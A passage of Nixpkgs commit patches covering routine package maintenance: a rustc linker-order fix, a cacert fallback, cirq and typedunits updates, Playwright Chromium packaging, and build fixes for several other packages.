@@ -3,7 +3,6 @@
   stdenv,
   fetchFromGitHub,
   pkg-config,
-  SDL2,
   libpng,
   libiconv,
   autoreconfHook,
@@ -37,8 +36,6 @@ stdenv.mkDerivation (finalAttrs: rec {
     libpng
   ];
 
-  nativeCheckInputs = [ SDL2 ];
-
   doCheck = false;
 
   checkPhase = ''

From ce9b63718ae7a2a6ea782b46eb0a07ecd100441e Mon Sep 17 00:00:00 2001
From: Emily <vcs@emily.moe>
Date: Mon, 19 May 2025 12:30:42 +0100
Subject: [PATCH 0041/4511] rustc: pass the linker for the target platform
 first

Fix `pkgsStatic.buildPackages.rustc` on Darwin.

Closes: #405969
(cherry picked from commit 1cb94639f5594f2f6691e9b077865026e6d4f718)
---
 pkgs/development/compilers/rust/rustc.nix | 31 ++++++++++++++++++++++-
 1 file changed, 30 insertions(+), 1 deletion(-)

diff --git a/pkgs/development/compilers/rust/rustc.nix b/pkgs/development/compilers/rust/rustc.nix
index 0e69639b0514..c9312ea8c63c 100644
--- a/pkgs/development/compilers/rust/rustc.nix
+++ b/pkgs/development/compilers/rust/rustc.nix
@@ -186,9 +186,38 @@ stdenv.mkDerivation (finalAttrs: {
       "${setHost}.cc=${ccForHost}"
       "${setTarget}.cc=${ccForTarget}"
 
+      # The Rust compiler build identifies platforms by Rust target
+      # name, and later arguments override previous arguments. This
+      # means that when platforms differ in configuration but overlap
+      # in Rust target name (for instance, `pkgsStatic`), only one
+      # setting will be applied for any given option.
+      #
+      # This is usually mostly harmless, especially as `fastCross`
+      # means that we usually only compile `std` in such cases.
+      # However, the build does still need to link helper tools for the
+      # build platform in that case. This was breaking the Darwin
+      # `pkgsStatic` build, as it was attempting to link build tools
+      # with the target platform’s static linker, and failing to locate
+      # an appropriate static library for `-liconv`.
+      #
+      # Since the static build does not link anything for the target
+      # platform anyway, we put the target linker first so that the
+      # build platform linker overrides it when the Rust target names
+      # overlap, allowing the helper tools to build successfully.
+      #
+      # Note that Rust does not remember these settings in the built
+      # compiler, so this does not compromise any functionality of the
+      # resulting compiler.
+      #
+      # The longer‐term fix would be to get Rust to use a more nuanced
+      # understanding of platforms, such as by explicitly constructing
+      # and passing Rust JSON target definitions that let us
+      # distinguish the platforms in cases like these. That would also
+      # let us supplant various hacks around the wrappers and hooks
+      # that we currently need.
+      "${setTarget}.linker=${ccForTarget}"
       "${setBuild}.linker=${ccForBuild}"
       "${setHost}.linker=${ccForHost}"
-      "${setTarget}.linker=${ccForTarget}"
 
       "${setBuild}.cxx=${cxxForBuild}"
       "${setHost}.cxx=${cxxForHost}"

From 25c8bd98444fabe3a1d29015c52c27898dfaff0a Mon Sep 17 00:00:00 2001
From: Tim Cuthbertson <tim@gfxmonk.net>
Date: Sat, 26 Apr 2025 14:29:46 +1000
Subject: [PATCH 0042/4511] cacert: avoid using unreadable inherited
 certificate bundle

(cherry picked from commit d3900130913dbbc1d36e81ace76f881e3e399137)
---
 pkgs/by-name/ca/cacert/setup-hook.sh | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/pkgs/by-name/ca/cacert/setup-hook.sh b/pkgs/by-name/ca/cacert/setup-hook.sh
index 62361102648d..c6093579f8c8 100644
--- a/pkgs/by-name/ca/cacert/setup-hook.sh
+++ b/pkgs/by-name/ca/cacert/setup-hook.sh
@@ -1,4 +1,10 @@
 export NIX_SSL_CERT_FILE="${NIX_SSL_CERT_FILE:-@out@/etc/ssl/certs/ca-bundle.crt}"
+if test ! -r "$NIX_SSL_CERT_FILE"; then
+  # If we inherited an unreadable cert file path, just use the bundled one
+  # TODO: This is just a workaround, the proper solution should be made on the Nix side
+  #       Issue: https://github.com/NixOS/nix/issues/12698
+  export NIX_SSL_CERT_FILE="@out@/etc/ssl/certs/ca-bundle.crt"
+fi
 
 # compatibility
 #  - openssl

From 7976ad124da50b1c5862cfab165b673778e9bb9a Mon Sep 17 00:00:00 2001
From: Sarah Clark <seclark@nextquestion.net>
Date: Fri, 16 May 2025 11:00:40 -0700
Subject: [PATCH 0043/4511] python3Packages.cirq-core:
 1.4.1-unstable-2024-09-21 -> 1.5.0

Changelog: https://github.com/quantumlib/Cirq/releases/tag/v1.5.0
(cherry picked from commit 00040b39679cb1c1631934ff903e9d781438c486)
---
 .../python-modules/cirq-core/default.nix      | 10 ++-
 .../python-modules/typedunits/default.nix     | 68 +++++++++++++++++++
 2 files changed, 75 insertions(+), 3 deletions(-)
 create mode 100644 pkgs/development/python-modules/typedunits/default.nix

diff --git a/pkgs/development/python-modules/cirq-core/default.nix b/pkgs/development/python-modules/cirq-core/default.nix
index 999954614b91..7dbf44955694 100644
--- a/pkgs/development/python-modules/cirq-core/default.nix
+++ b/pkgs/development/python-modules/cirq-core/default.nix
@@ -37,14 +37,14 @@
 
 buildPythonPackage rec {
   pname = "cirq-core";
-  version = "1.4.1-unstable-2024-09-21";
+  version = "1.5.0";
   pyproject = true;
 
   src = fetchFromGitHub {
     owner = "quantumlib";
     repo = "cirq";
-    rev = "3fefe2984a1203c0bf647c1ea84f4882b05f8477";
-    hash = "sha256-/WDKVxNJ8pewTLAFTyAZ/nnYcJSLubEJcn7qoJslZ3U=";
+    tag = "v${version}";
+    hash = "sha256-4FgXX4ox7BkjmLecxsvg0/JpcrHPn6hlFw5rk4bn9Cc=";
   };
 
   sourceRoot = "${src.name}/${pname}";
@@ -98,6 +98,10 @@ buildPythonPackage rec {
     ++ lib.optionals stdenv.hostPlatform.isAarch64 [
       # https://github.com/quantumlib/Cirq/issues/5924
       "test_prepare_two_qubit_state_using_sqrt_iswap"
+    ]
+    ++ lib.optionals stdenv.hostPlatform.isDarwin [
+      # test_scalar_division[scalar9-terms9-terms_expected9] result differs in the final digit
+      "test_scalar_division"
     ];
 
   meta = {
diff --git a/pkgs/development/python-modules/typedunits/default.nix b/pkgs/development/python-modules/typedunits/default.nix
new file mode 100644
index 000000000000..c8ba6af13087
--- /dev/null
+++ b/pkgs/development/python-modules/typedunits/default.nix
@@ -0,0 +1,68 @@
+{
+  lib,
+  buildPythonPackage,
+  fetchFromGitHub,
+  stdenv,
+  cython,
+  setuptools,
+  attrs,
+  numpy,
+  protobuf,
+  pyparsing,
+  pytestCheckHook,
+}:
+
+buildPythonPackage {
+  pname = "typedunits";
+  version = "0.0.1.dev20250509200845";
+  pyproject = true;
+
+  src = fetchFromGitHub {
+    owner = "quantumlib";
+    repo = "TypedUnits";
+    # PyPi ships platform- and python- specific wheels, so pin the matching source
+    rev = "95e698b10454dc8dffdb708d56199a748e6dab75";
+    hash = "sha256-mNo2s1sIMOa7zYfp6XyF8CBQ840+XvN0Ek59W6bRqeM=";
+  };
+
+  build-system = [
+    cython
+    setuptools
+  ];
+
+  dependencies = [
+    attrs
+    cython
+    numpy
+    protobuf
+    pyparsing
+  ];
+
+  nativeCheckInputs = [
+    pytestCheckHook
+  ];
+
+  disabledTests = lib.optionals stdenv.hostPlatform.isDarwin [
+    # Rounding differences
+    "test_float_to_twelths_frac"
+  ];
+
+  disabledTestPaths = [
+    # Flaky due to host timing differences under load
+    "test_perf/test_array_with_dimension_performance.py"
+    "test_perf/test_value__array_performance.py"
+    "test_perf/test_value_performance.py"
+    "test_perf/test_value_with_dimension_performance.py"
+  ];
+
+  pythonImportsCheck = [
+    "tunits"
+  ];
+
+  meta = {
+    description = "Units and dimensions library with support for static dimensionality checking and protobuffer serialization";
+    homepage = "https://github.com/quantumlib/TypedUnits";
+    license = lib.licenses.asl20;
+    maintainers = [ lib.maintainers.sarahec ];
+  };
+}

From b70410c93b35f15e0a5b43e3f02634d74c3d526c Mon Sep 17 00:00:00 2001
From: Sarah Clark <seclark@nextquestion.net>
Date: Fri, 16 May 2025 11:35:53 -0700
Subject: [PATCH 0044/4511] python3Packages.typedunits: init at
 0-unstable-2505-05-09

(cherry picked from commit 44859d9bc791970803805ae8de3895e052c36217)
---
 pkgs/development/python-modules/typedunits/default.nix | 2 +-
 pkgs/top-level/python-packages.nix                     | 2 ++
 2 files changed, 3 insertions(+), 1 deletion(-)

diff --git a/pkgs/development/python-modules/typedunits/default.nix b/pkgs/development/python-modules/typedunits/default.nix
index c8ba6af13087..3f0ed6e1d4ac 100644
--- a/pkgs/development/python-modules/typedunits/default.nix
+++ b/pkgs/development/python-modules/typedunits/default.nix
@@ -50,7 +50,7 @@ buildPythonPackage {
   disabledTestPaths = [
     # Flaky due to host timing differences under load
     "test_perf/test_array_with_dimension_performance.py"
-    "test_perf/test_value__array_performance.py"
+    "test_perf/test_value_array_performance.py"
     "test_perf/test_value_performance.py"
     "test_perf/test_value_with_dimension_performance.py"
   ];
diff --git a/pkgs/top-level/python-packages.nix b/pkgs/top-level/python-packages.nix
index 54ffc8fc113e..e78c2ec7366d 100644
--- a/pkgs/top-level/python-packages.nix
+++ b/pkgs/top-level/python-packages.nix
@@ -17883,6 +17883,8 @@ self: super: with self; {
 
   typed-settings = callPackage ../development/python-modules/typed-settings { };
 
+  typedunits = callPackage ../development/python-modules/typedunits { };
+
   typeguard = callPackage ../development/python-modules/typeguard { };
 
   typepy = callPackage ../development/python-modules/typepy { };

From 2d565c56561549687987fdbc85475f0e37552b0e Mon Sep 17 00:00:00 2001
From: Sarah Clark <seclark@nextquestion.net>
Date: Fri, 16 May 2025 11:30:22 -0700
Subject: [PATCH 0045/4511] python3Packages.cirq-google: add dependency on
 typedunits

(cherry picked from commit 0e6a84a5e5429a498ea15acfced1af46032340e3)
---
 pkgs/development/python-modules/cirq-google/default.nix | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/pkgs/development/python-modules/cirq-google/default.nix b/pkgs/development/python-modules/cirq-google/default.nix
index c5beb6192b74..91da79a13348 100644
--- a/pkgs/development/python-modules/cirq-google/default.nix
+++ b/pkgs/development/python-modules/cirq-google/default.nix
@@ -6,6 +6,7 @@
   protobuf,
   freezegun,
   pytestCheckHook,
+  typedunits,
 }:
 
 buildPythonPackage rec {
@@ -25,6 +26,7 @@ buildPythonPackage rec {
     cirq-core
     google-api-core
     protobuf
+    typedunits
   ] ++ google-api-core.optional-dependencies.grpc;
 
   nativeCheckInputs = [

From 9f046ca0bf5076520ef5e061dfab3356bd13c9ea Mon Sep 17 00:00:00 2001
From: Sarah Clark <seclark@nextquestion.net>
Date: Fri, 16 May 2025 11:45:03 -0700
Subject: [PATCH 0046/4511] python3Packages.cirq-aqt: replace broken dependency
 substitution with relaxed dep

(cherry picked from commit 7c87d328a88b1d3dfe7e94cf7b08be1aca987e04)
---
 pkgs/development/python-modules/cirq-aqt/default.nix | 9 ++++-----
 1 file changed, 4 insertions(+), 5 deletions(-)

diff --git a/pkgs/development/python-modules/cirq-aqt/default.nix b/pkgs/development/python-modules/cirq-aqt/default.nix
index 6e20f84d26e6..58ceb5c600b2 100644
--- a/pkgs/development/python-modules/cirq-aqt/default.nix
+++ b/pkgs/development/python-modules/cirq-aqt/default.nix
@@ -13,13 +13,12 @@ buildPythonPackage rec {
 
   sourceRoot = "${src.name}/${pname}";
 
-  postPatch = ''
-    substituteInPlace requirements.txt \
-      --replace-fail "requests~=2.18" "requests"
-  '';
-
   build-system = [ setuptools ];
 
+  pythonRelaxDeps = [
+    "requests"
+  ];
+
   dependencies = [
     cirq-core
     requests

From 95332190d323ed30adbe4b23ea397ed3bb849c54 Mon Sep 17 00:00:00 2001
From: Sarah Clark <seclark@nextquestion.net>
Date: Fri, 16 May 2025 11:48:29 -0700
Subject: [PATCH 0047/4511] python3Packages.cirq-ionq: replace broken
 dependency substitution with relaxed dep

(cherry picked from commit 8870079d3b2e7064efb98629b80686a15bdbad56)
---
 pkgs/development/python-modules/cirq-ionq/default.nix | 9 ++++-----
 1 file changed, 4 insertions(+), 5 deletions(-)

diff --git a/pkgs/development/python-modules/cirq-ionq/default.nix b/pkgs/development/python-modules/cirq-ionq/default.nix
index 518334432441..8522bc23e0e3 100644
--- a/pkgs/development/python-modules/cirq-ionq/default.nix
+++ b/pkgs/development/python-modules/cirq-ionq/default.nix
@@ -13,13 +13,12 @@ buildPythonPackage rec {
 
   sourceRoot = "${src.name}/${pname}";
 
-  postPatch = ''
-    substituteInPlace requirements.txt \
-      --replace-fail "requests~=2.18" "requests"
-  '';
-
   build-system = [ setuptools ];
 
+  pythonRelaxDeps = [
+    "requests"
+  ];
+
   dependencies = [
     cirq-core
     requests

From 41267a98ab86c264fa31efc1502d18349075188a Mon Sep 17 00:00:00 2001
From: Sarah Clark <seclark@nextquestion.net>
Date: Fri, 16 May 2025 11:52:26 -0700
Subject: [PATCH 0048/4511] python3Packages.cirq-pasqal: replace broken
 dependency substitution with relaxed dep

(cherry picked from commit 213d00a8fa88f6a7bb07e6da71e741de6d1850f7)
---
 pkgs/development/python-modules/cirq-pasqal/default.nix | 9 ++++-----
 1 file changed, 4 insertions(+), 5 deletions(-)

diff --git a/pkgs/development/python-modules/cirq-pasqal/default.nix b/pkgs/development/python-modules/cirq-pasqal/default.nix
index 62d946ea4617..db0e5d2455b5 100644
--- a/pkgs/development/python-modules/cirq-pasqal/default.nix
+++ b/pkgs/development/python-modules/cirq-pasqal/default.nix
@@ -13,13 +13,12 @@ buildPythonPackage rec {
 
   sourceRoot = "${src.name}/${pname}";
 
-  postPatch = ''
-    substituteInPlace requirements.txt \
-      --replace-fail "requests~=2.18" "requests"
-  '';
-
   build-system = [ setuptools ];
 
+  pythonRelaxDeps = [
+    "requests"
+  ];
+
   dependencies = [
     cirq-core
     requests

From b6e0f9642c4be728939ac1ea0c116af310acfe4f Mon Sep 17 00:00:00 2001
From: Sarah Clark <seclark@nextquestion.net>
Date: Fri, 16 May 2025 15:10:02 -0700
Subject: [PATCH 0049/4511] python3Packages.cirq-regetti: relax qcs-sdk-python
 dep

(cherry picked from commit ba1bad39d82f3ed2ba09faf725c787d927dcef00)
---
 pkgs/development/python-modules/cirq-rigetti/default.nix | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/pkgs/development/python-modules/cirq-rigetti/default.nix b/pkgs/development/python-modules/cirq-rigetti/default.nix
index 209089bcf6b3..d78ad727a150 100644
--- a/pkgs/development/python-modules/cirq-rigetti/default.nix
+++ b/pkgs/development/python-modules/cirq-rigetti/default.nix
@@ -14,7 +14,10 @@ buildPythonPackage rec {
 
   sourceRoot = "${src.name}/${pname}";
 
-  pythonRelaxDeps = [ "pyquil" ];
+  pythonRelaxDeps = [
+    "pyquil"
+    "qcs-sdk-python"
+  ];
 
   postPatch = ''
     # Remove outdated test

From 79390aac8b9cd4b4286d02357cf7a24a3e374bd9 Mon Sep 17 00:00:00 2001
From: Marie Ramlow <me@nycode.dev>
Date: Mon, 17 Feb 2025 12:08:56 +0100
Subject: [PATCH 0050/4511] playwright-driver: use upstream chromium build

Use the exact chromium version upstream uses for playwright, to prevent breaking from browser updates in nixpkgs.

(cherry picked from commit 18f34890d2ed06220fc75d64f692623814fb1ca1)
---
 pkgs/development/web/playwright/chromium.nix | 109 ++++++++++++++++---
 pkgs/development/web/playwright/driver.nix   |  39 +++++--
 2 files changed, 120 insertions(+), 28 deletions(-)

diff --git a/pkgs/development/web/playwright/chromium.nix b/pkgs/development/web/playwright/chromium.nix
index 31f6686c8e71..ffc93fc2a18c 100644
--- a/pkgs/development/web/playwright/chromium.nix
+++ b/pkgs/development/web/playwright/chromium.nix
@@ -8,27 +8,102 @@
   suffix,
   system,
   throwSystem,
+  lib,
+  alsa-lib,
+  at-spi2-atk,
+  atk,
+  autoPatchelfHook,
+  cairo,
+  cups,
+  dbus,
+  expat,
+  glib,
+  gobject-introspection,
+  libGL,
+  libgbm,
+  libgcc,
+  libxkbcommon,
+  nspr,
+  nss,
+  pango,
+  patchelf,
+  pciutils,
+  stdenv,
+  systemd,
+  vulkan-loader,
+  xorg,
   ...
 }:
 let
-  chromium-linux =
-    runCommand "playwright-chromium"
-      {
-        nativeBuildInputs = [
-          makeWrapper
-        ];
-      }
-      ''
-        mkdir -p $out/chrome-linux
+  chromium-linux = stdenv.mkDerivation {
+    name = "playwright-chromium";
+    src = fetchzip {
+      url = "https://playwright.azureedge.net/builds/chromium/${revision}/chromium-${suffix}.zip";
+      hash =
+        {
+          x86_64-linux = "sha256-9bK8HOGoQY5kYYfJypYHeuAoVlXIh/1tv1IsXPpUTpA=";
+          aarch64-linux = "sha256-KL6tYnPDszXjCHiSNOPHLtz839JPljSOoP7biQfTTAI=";
+        }
+        .${system} or throwSystem;
+    };
 
-        # See here for the Chrome options:
-        # https://github.com/NixOS/nixpkgs/issues/136207#issuecomment-908637738
-        # We add --disable-gpu to be able to run in gpu-less environments such
-        # as headless nixos test vms.
-        makeWrapper ${chromium}/bin/chromium $out/chrome-linux/chrome \
-          --set-default SSL_CERT_FILE /etc/ssl/certs/ca-bundle.crt \
-          --set-default FONTCONFIG_FILE ${fontconfig_file}
-      '';
+    nativeBuildInputs = [
+      autoPatchelfHook
+      patchelf
+      makeWrapper
+    ];
+    buildInputs = [
+      alsa-lib
+      at-spi2-atk
+      atk
+      cairo
+      cups
+      dbus
+      expat
+      glib
+      gobject-introspection
+      libgbm
+      libgcc
+      libxkbcommon
+      nspr
+      nss
+      pango
+      stdenv.cc.cc.lib
+      systemd
+      xorg.libX11
+      xorg.libXcomposite
+      xorg.libXdamage
+      xorg.libXext
+      xorg.libXfixes
+      xorg.libXrandr
+      xorg.libxcb
+    ];
+
+    installPhase = ''
+      runHook preInstall
+
+      mkdir -p $out/chrome-linux
+      cp -R . $out/chrome-linux
+
+      wrapProgram $out/chrome-linux/chrome \
+        --set-default SSL_CERT_FILE /etc/ssl/certs/ca-bundle.crt \
+        --set-default FONTCONFIG_FILE ${fontconfig_file}
+
+      runHook postInstall
+    '';
+
+    appendRunpaths = lib.makeLibraryPath [
+      libGL
+      vulkan-loader
+      pciutils
+    ];
+
+    postFixup = ''
+      # replace bundled vulkan-loader since we are also already adding our own to RPATH
+      rm "$out/chrome-linux/libvulkan.so.1"
+      ln -s -t "$out/chrome-linux" "${lib.getLib vulkan-loader}/lib/libvulkan.so.1"
+    '';
+  };
   chromium-darwin = fetchzip {
     url = "https://playwright.azureedge.net/builds/chromium/${revision}/chromium-${suffix}.zip";
     stripRoot = false;
diff --git a/pkgs/development/web/playwright/driver.nix b/pkgs/development/web/playwright/driver.nix
index f924ccac5b10..6a4880ae1d78 100644
--- a/pkgs/development/web/playwright/driver.nix
+++ b/pkgs/development/web/playwright/driver.nix
@@ -174,6 +174,7 @@ let
         withWebkit = false;
         withChromiumHeadlessShell = false;
       };
+      inherit components;
     };
   });
 
@@ -202,6 +203,32 @@ let
     };
   });
 
+  components = {
+    chromium = callPackage ./chromium.nix {
+      inherit suffix system throwSystem;
+      inherit (playwright-core.passthru.browsersJSON.chromium) revision;
+      fontconfig_file = makeFontsConf {
+        fontDirectories = [ ];
+      };
+    };
+    chromium-headless-shell = callPackage ./chromium-headless-shell.nix {
+      inherit suffix system throwSystem;
+      inherit (playwright-core.passthru.browsersJSON.chromium) revision;
+    };
+    firefox = callPackage ./firefox.nix {
+      inherit suffix system throwSystem;
+      inherit (playwright-core.passthru.browsersJSON.firefox) revision;
+    };
+    webkit = callPackage ./webkit.nix {
+      inherit suffix system throwSystem;
+      inherit (playwright-core.passthru.browsersJSON.webkit) revision;
+    };
+    ffmpeg = callPackage ./ffmpeg.nix {
+      inherit suffix system throwSystem;
+      inherit (playwright-core.passthru.browsersJSON.ffmpeg) revision;
+    };
+  };
+
   browsers = lib.makeOverridable (
     {
       withChromium ? true,
@@ -232,17 +259,7 @@ let
           lib.nameValuePair
             # TODO check platform for revisionOverrides
             "${lib.replaceStrings [ "-" ] [ "_" ] name}-${value.revision}"
-            (
-              callPackage (./. + "/${name}.nix") (
-                {
-                  inherit suffix system throwSystem;
-                  inherit (value) revision;
-                }
-                // lib.optionalAttrs (name == "chromium") {
-                  inherit fontconfig_file;
-                }
-              )
-            )
+            components.${name}
         ) browsers
       )
     )

From 98de75a8277b269fe7f3e5ecffc4dcaff235effe Mon Sep 17 00:00:00 2001
From: Marie Ramlow <me@nycode.dev>
Date: Fri, 21 Feb 2025 10:18:51 +0100
Subject: [PATCH 0051/4511] playwright: add myself as a maintainer

(cherry picked from commit 9424a47a657f423d3d12ded83fced9974f87a7d9)
---
 pkgs/development/web/playwright/driver.nix | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/pkgs/development/web/playwright/driver.nix b/pkgs/development/web/playwright/driver.nix
index 6a4880ae1d78..7d714b9f14f0 100644
--- a/pkgs/development/web/playwright/driver.nix
+++ b/pkgs/development/web/playwright/driver.nix
@@ -149,7 +149,10 @@ let
       description = "Framework for Web Testing and Automation";
       homepage = "https://playwright.dev";
       license = lib.licenses.asl20;
-      maintainers = with lib.maintainers; [ kalekseev ];
+      maintainers = with lib.maintainers; [
+        kalekseev
+        marie
+      ];
       inherit (nodejs.meta) platforms;
     };
   };

From 44f7dd92ca444aa414c9db47056f8a13d15e7b96 Mon Sep 17 00:00:00 2001
From: Gaetan Lepage <gaetan@glepage.com>
Date: Tue, 20 May 2025 18:16:03 +0200
Subject: [PATCH 0052/4511] playwright: fix hashes

(cherry picked from commit cc423552dbf732f9386b3fdf0bdcbc9469bb5a19)
---
 pkgs/development/web/playwright/chromium.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/web/playwright/chromium.nix b/pkgs/development/web/playwright/chromium.nix
index ffc93fc2a18c..7561b985f344 100644
--- a/pkgs/development/web/playwright/chromium.nix
+++ b/pkgs/development/web/playwright/chromium.nix
@@ -41,8 +41,8 @@ let
       url = "https://playwright.azureedge.net/builds/chromium/${revision}/chromium-${suffix}.zip";
       hash =
         {
-          x86_64-linux = "sha256-9bK8HOGoQY5kYYfJypYHeuAoVlXIh/1tv1IsXPpUTpA=";
-          aarch64-linux = "sha256-KL6tYnPDszXjCHiSNOPHLtz839JPljSOoP7biQfTTAI=";
+          x86_64-linux = "sha256-7oQQCAIt1VJiMNFEJO40K8oENK/L0BICXm2D/3fZ8bA=";
+          aarch64-linux = "sha256-1OmByLX2jNHXAzWdXF8Od7S7pj/jl4wwvOQcsZc5R7o=";
         }
         .${system} or throwSystem;
     };

From 8c55f3d46c4e4af631c5694cf554604659ea8201 Mon Sep 17 00:00:00 2001
From: Emily <vcs@emily.moe>
Date: Fri, 23 May 2025 14:58:33 +0100
Subject: [PATCH 0053/4511] Revert "sdl3: reenable OpenGL on darwin"

This is no longer necessary now that
9338d924dbe0c6b93daec3bf435322812fd176fe has been reverted.

This reverts commit 57282c6a1c914595d8dbd472577985c765763ddd.

(cherry picked from commit 57043c2a816d16226074dda0af81232d758307dd)
---
 pkgs/by-name/sd/sdl3/package.nix | 5 +----
 1 file changed, 1 insertion(+), 4 deletions(-)

diff --git a/pkgs/by-name/sd/sdl3/package.nix b/pkgs/by-name/sd/sdl3/package.nix
index 7824ad3ed025..c7712ef91382 100644
--- a/pkgs/by-name/sd/sdl3/package.nix
+++ b/pkgs/by-name/sd/sdl3/package.nix
@@ -39,10 +39,7 @@
   ibusSupport ? stdenv.hostPlatform.isUnix && !stdenv.hostPlatform.isDarwin,
   jackSupport ? stdenv.hostPlatform.isLinux && !stdenv.hostPlatform.isAndroid,
   libdecorSupport ? stdenv.hostPlatform.isLinux && !stdenv.hostPlatform.isAndroid,
-  openglSupport ?
-    lib.meta.availableOn stdenv.hostPlatform libGL
-    # libGL is null on Darwin because we use system version
-    || stdenv.hostPlatform.isDarwin,
+  openglSupport ? lib.meta.availableOn stdenv.hostPlatform libGL,
   pipewireSupport ? stdenv.hostPlatform.isLinux && !stdenv.hostPlatform.isAndroid,
   pulseaudioSupport ?
     config.pulseaudio or stdenv.hostPlatform.isLinux && !stdenv.hostPlatform.isAndroid,

From 118e581c9a06c79dfaf430297d5b202a8ac6f7b3 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Niklas=20Hamb=C3=BCchen?= <mail@nh2.me>
Date: Sat, 24 May 2025 00:05:49 +0200
Subject: [PATCH 0054/4511] luminance-hdr: Fix build with current boost

(cherry picked from commit 854046f01764c9d114c8ab178d1487dfb08b38f8)
---
 .../graphics/luminance-hdr/default.nix        | 19 +++++++++++++++++++
 1 file changed, 19 insertions(+)

diff --git a/pkgs/applications/graphics/luminance-hdr/default.nix b/pkgs/applications/graphics/luminance-hdr/default.nix
index ad53e38ef7cf..12fbce05b962 100644
--- a/pkgs/applications/graphics/luminance-hdr/default.nix
+++ b/pkgs/applications/graphics/luminance-hdr/default.nix
@@ -35,6 +35,25 @@ stdenv.mkDerivation rec {
       url = "https://gitlab.archlinux.org/archlinux/packaging/packages/luminancehdr/-/raw/2e4a7321c7d20a52da104f4aa4dc76ac7224d94b/exiv2-0.28.patch";
       hash = "sha256-Hj+lqAd5VuTjmip8Po7YiGOWWDxnu4IMXOiEFBukXpk=";
     })
+    (fetchpatch {
+      name = "luminance-hdr-Fix-building-with-Boost-1.85.0.patch";
+      url = "https://github.com/LuminanceHDR/LuminanceHDR/commit/33b364f76b0edca4352cf701c1557d0c0e796c4f.patch";
+      hash = "sha256-jzyfKFmmzo6WUOUn33gr1g4MbSVpRfKLUIi49PSF5cg=";
+    })
+    # Fix lots of errors of form:
+    #     include/boost/math/tools/type_traits.hpp:208:12: error: 'is_final' has not been declared in 'std'
+    (fetchpatch {
+      name = "luminancehdr-fix-boost-1.87.0-compilation.patch";
+      url = "https://gitlab.archlinux.org/archlinux/packaging/packages/luminancehdr/-/raw/d5fdbad3c11b6d414d842a7751e858f51292f544/luminancehdr-fix-boost-1.87.0-compilation.patch";
+      hash = "sha256-bKJhENnOWNwKUUSrSUF9fS1Por1A7exYAeiuCa2fRJY=";
+    })
+    # Fix error:
+    #     /build/source/src/Libpfs/manip/gamma_levels.cpp:136:25: error: call of overloaded 'clamp(float, float, float)' is ambiguous
+    (fetchpatch {
+      name = "luminancehdr-clamp.patch";
+      url = "https://gitlab.archlinux.org/archlinux/packaging/packages/luminancehdr/-/raw/d5fdbad3c11b6d414d842a7751e858f51292f544/clamp.patch";
+      hash = "sha256-iAcZV1lFREPzjA9J3feSdhyTougvQA11I0IQRRYOmxY=";
+    })
   ];
 
   env.NIX_CFLAGS_COMPILE = "-I${ilmbase.dev}/include/OpenEXR";

From d30c9ed4228eb6a3b3e1577fb2b4d4824a6fff59 Mon Sep 17 00:00:00 2001
From: Grimmauld <Grimmauld@grimmauld.de>
Date: Tue, 20 May 2025 16:06:51 +0200
Subject: [PATCH 0055/4511] libapparmor: avoid generating __pycache__ in tests

Upstream PR: https://gitlab.com/apparmor/apparmor/-/merge_requests/1697
Closes https://github.com/NixOS/nixpkgs/issues/409032

The upstream Make procedure spawns apparmor tests in a stripped environment.
This results in pycache files that contain the actual current timestamp.
Solution: Don't generate pyc files while running tests.
`setup.py` will already correctly generate the `__pycache__`,
respecting the reproducibility flags.

(cherry picked from commit 6c085c8ead0779b20a55e6936c31607e62561e46)
---
 pkgs/by-name/li/libapparmor/package.nix | 12 ++++++++++++
 1 file changed, 12 insertions(+)

diff --git a/pkgs/by-name/li/libapparmor/package.nix b/pkgs/by-name/li/libapparmor/package.nix
index a0b305a85653..37f941e3dac6 100644
--- a/pkgs/by-name/li/libapparmor/package.nix
+++ b/pkgs/by-name/li/libapparmor/package.nix
@@ -2,6 +2,7 @@
   stdenv,
   lib,
   fetchFromGitLab,
+  fetchpatch2,
   autoreconfHook,
   autoconf-archive,
   pkg-config,
@@ -42,6 +43,17 @@ stdenv.mkDerivation (finalAttrs: {
   };
   sourceRoot = "${finalAttrs.src.name}/libraries/libapparmor";
 
+  patches = [
+    # avoid creating non-reproducible pycache in check phase
+    # https://gitlab.com/apparmor/apparmor/-/merge_requests/1697
+    # remove on next release
+    (fetchpatch2 {
+      url = "https://gitlab.com/apparmor/apparmor/-/commit/b50ee983522f0efb5920676db545ae25b2e8998d.patch";
+      hash = "sha256-AXl0osJHX4uUGppiOuHjpvlSRChqGyRCqv+8TYoLYMk=";
+      stripLen = 2;
+    })
+  ];
+
   postPatch = ''
     substituteInPlace swig/perl/Makefile.am \
       --replace-fail install_vendor install_site

From 652683e8d034baf40748d4fd165d1c9311450c86 Mon Sep 17 00:00:00 2001
From: Callie Cameron <cjcameron7@gmail.com>
Date: Tue, 6 May 2025 11:30:08 +0200
Subject: [PATCH 0056/4511] x11docker: 7.6.0 -> 7.6.0-unstable-2024-04-04

Updating x11docker to latest master for bugfixes. Also adding missing dependencies.

(cherry picked from commit 1dfce9060fa0a59098f985f915a765e1958ce3ed)
---
 pkgs/by-name/x1/x11docker/package.nix | 25 ++++++++++++++++++++++---
 1 file changed, 22 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/x1/x11docker/package.nix b/pkgs/by-name/x1/x11docker/package.nix
index 56bedfc7e5e6..0c151a8f05c7 100644
--- a/pkgs/by-name/x1/x11docker/package.nix
+++ b/pkgs/by-name/x1/x11docker/package.nix
@@ -11,15 +11,23 @@
   ps,
   mount,
   iproute2,
+  python3,
+  jq,
+  wmctrl,
+  xdotool,
+  xclip,
+  xpra,
+  weston,
+  xwayland,
 }:
 stdenv.mkDerivation rec {
   pname = "x11docker";
-  version = "7.6.0";
+  version = "7.6.0-unstable-2024-04-04";
   src = fetchFromGitHub {
     owner = "mviereck";
     repo = "x11docker";
-    rev = "v${version}";
-    sha256 = "sha256-DehAWrEvoE/zWbfjQmF5Z7HTaQL5WMA/279Ee1Xm47g=";
+    rev = "cb29a996597839239e482409b895353b1097ce3b";
+    sha256 = "sha256-NYMr2XZ4m6uvuIGO+nzX2ksxtVLJL4zy/JebxeAvqD4=";
   };
   nativeBuildInputs = [ makeWrapper ];
 
@@ -41,6 +49,17 @@ stdenv.mkDerivation rec {
           xorg.xdpyinfo
